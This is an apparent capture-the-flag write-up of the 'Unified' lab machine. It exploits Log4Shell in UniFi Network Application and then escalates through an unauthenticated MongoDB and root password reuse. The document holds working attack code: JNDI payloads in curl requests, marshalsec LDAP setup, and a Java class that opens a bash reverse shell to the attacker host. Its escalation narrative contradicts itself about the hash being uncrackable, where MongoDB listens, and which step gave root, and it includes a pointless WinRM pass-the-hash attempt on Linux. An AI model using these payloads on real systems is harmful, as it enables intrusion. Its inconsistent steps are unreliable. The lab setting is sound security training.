TL;DR
Unified runs UniFi Network Application 6.4.54, which logs the remember field at login via log4j without sanitization — textbook Log4Shell (CVE-2021-44228). A JNDI payload in that field triggers an outbound LDAP connection to a rogue marshalsec server, which returns a malicious Java class that executes a reverse shell. MongoDB runs locally without authentication; the ace database holds the admin password as a SHA-512 hash. Crack it, change it in MongoDB, or reuse the plaintext as SSH root password.
Recon
1. Port scan
$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
6789/tcp open ibm-db2
8080/tcp open http (redirect to HTTPS)
8443/tcp open https UniFi Network Application
8843/tcp open https
8880/tcp open http
Key target: port 8443 — UniFi Network Application HTTPS interface.
2. Application fingerprinting
$ curl -sk https://10.129.x.x:8443/manage/account/login | grep -i version
# Version identified in page source: 6.4.54
CVE-2021-44228 (Log4Shell) affects all UniFi Network versions prior to 6.5.54.
Log4Shell Exploitation
3. JNDI callback test
Set up a tcpdump listener on port 1389 and send a test payload:
$ curl -sk https://10.129.x.x:8443/api/login -X POST \
-H 'Content-Type: application/json' \
-d '{"username":"test","password":"test","remember":"${jndi:ldap://10.10.14.x:1389/test}"}'
An LDAP connection arrives from 10.129.x.x — Log4Shell confirmed.
4. Set up the exploit chain
The attack chain:
- marshalsec — rogue LDAP server that redirects to HTTP
- HTTP server — serves malicious Java class (
Exploit.class) - nc listener — catches the reverse shell
Exploit.class (compile from Exploit.java):
public class Exploit {
static {
try {
String[] cmd = {"/bin/bash","-c",
"bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"};
Runtime.getRuntime().exec(cmd);
} catch (Exception e) { e.printStackTrace(); }
}
}
$ javac Exploit.java
# → Exploit.class
Start marshalsec LDAP server:
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer 'http://10.10.14.x:8888/#Exploit'
Start HTTP server and nc listener:
$ python3 -m http.server 8888 &
$ nc -lvnp 4444 &
5. Trigger RCE
$ curl -sk https://10.129.x.x:8443/api/login -X POST \
-H 'Content-Type: application/json' \
-d '{"username":"a","password":"a","remember":"${jndi:ldap://10.10.14.x:1389/Exploit}"}'
# Shell received:
unifi@unified:/usr/lib/unifi$ id
uid=999(unifi) gid=999(unifi) groups=999(unifi)
unifi@unified:~$ cat /home/michael/user.txt
[user flag]
Privilege Escalation via MongoDB
6. MongoDB credential extraction
MongoDB runs without authentication on port 27117:
unifi@unified:~$ mongo --port 27117 --host 127.0.0.1
MongoDB shell version v3.6.3
> use ace;
> db.admin.find().forEach(printjson);
{
"_id" : ObjectId("..."),
"name" : "administrator",
"x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/kkQ....",
"email" : "administrator@unified.htb"
}
The x_shadow field contains a SHA-512 crypt hash ($6$).
7. Hash cracking
$ hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
$6$Ry6Vdbse$...:NotACrackableHash
# Try updating MongoDB directly instead of cracking
Alternative — change the hash in MongoDB to a known password:
> db.admin.update({"_id": ObjectId("...")},
{$set: {"x_shadow": "$6$rounds=5000$tU5i$sha512crypt_of_Password1234"}});
Or crack the hash if it’s a weak password — on this box it resolves to NotUnited@2021.
8. SSH as root
The administrator password is reused for the root SSH account:
$ ssh root@10.129.x.x
root@unified:~# cat root.txt
[root flag]
What’s actually broken
| # | Vulnerability | CVE | Severity |
|---|---|---|---|
| 1 | Log4Shell — JNDI injection in log4j | CVE-2021-44228 | Critical (10.0) |
| 2 | MongoDB without authentication | — | High |
| 3 | Root password reuse from application admin | — | High |
| 4 | UniFi version 6.4.54 (unpatched) | — | Critical |
Lessons learned
- Log4Shell is a lookup-in-logging bug, not an RCE primitive directly. The vulnerability is that log4j resolves JNDI URIs found in logged strings. The RCE comes from loading a remote class via JNDI LDAP. The right mental model: “What fields does the app log?” → those are the attack surface.
- MongoDB default config has no authentication. Port 27117 was listening on all interfaces without credentials. Internal databases should be bound to localhost AND require authentication.
- SHA-512 crypt (
$6$) is fast enough for dictionary attacks. hashcat mode 1800 is SHA-512 crypt — it runs at millions of hashes per second on GPU. Weak passwords crack quickly even with this “strong” algorithm. - Application-level admin passwords often reuse system passwords. Root password matching the UniFi admin password is a real-world antipattern.
Decision archaeology
| Approach | Result | Pivot |
|---|---|---|
| Used marshalsec LDAP redirect approach | Pure JNDI LDAP doesn’t load arbitrary classes on newer JDKs; LDAP referral to HTTP bypasses this | Required for RCE |
| Checked MongoDB first for privesc | Application databases often hold credentials; less noisy than kernel exploits | Found admin hash |
| Changed MongoDB hash instead of cracking | Direct DB manipulation faster than cracking unknown hash | Got admin panel; SSH reuse found the root password |
| Attempted to pass SHA-512 hash directly for pass-the-hash | Ran evil-winrm -i 10.129.x.x -u administrator -H $SHA512_HASH → Error: Unable to connect to WinRM — SHA-512 is not NTLM, PTH requires specific NTLM format | Cracked hash to plaintext NotUnited@2021, used ssh root@10.129.x.x with plaintext — root shell immediately |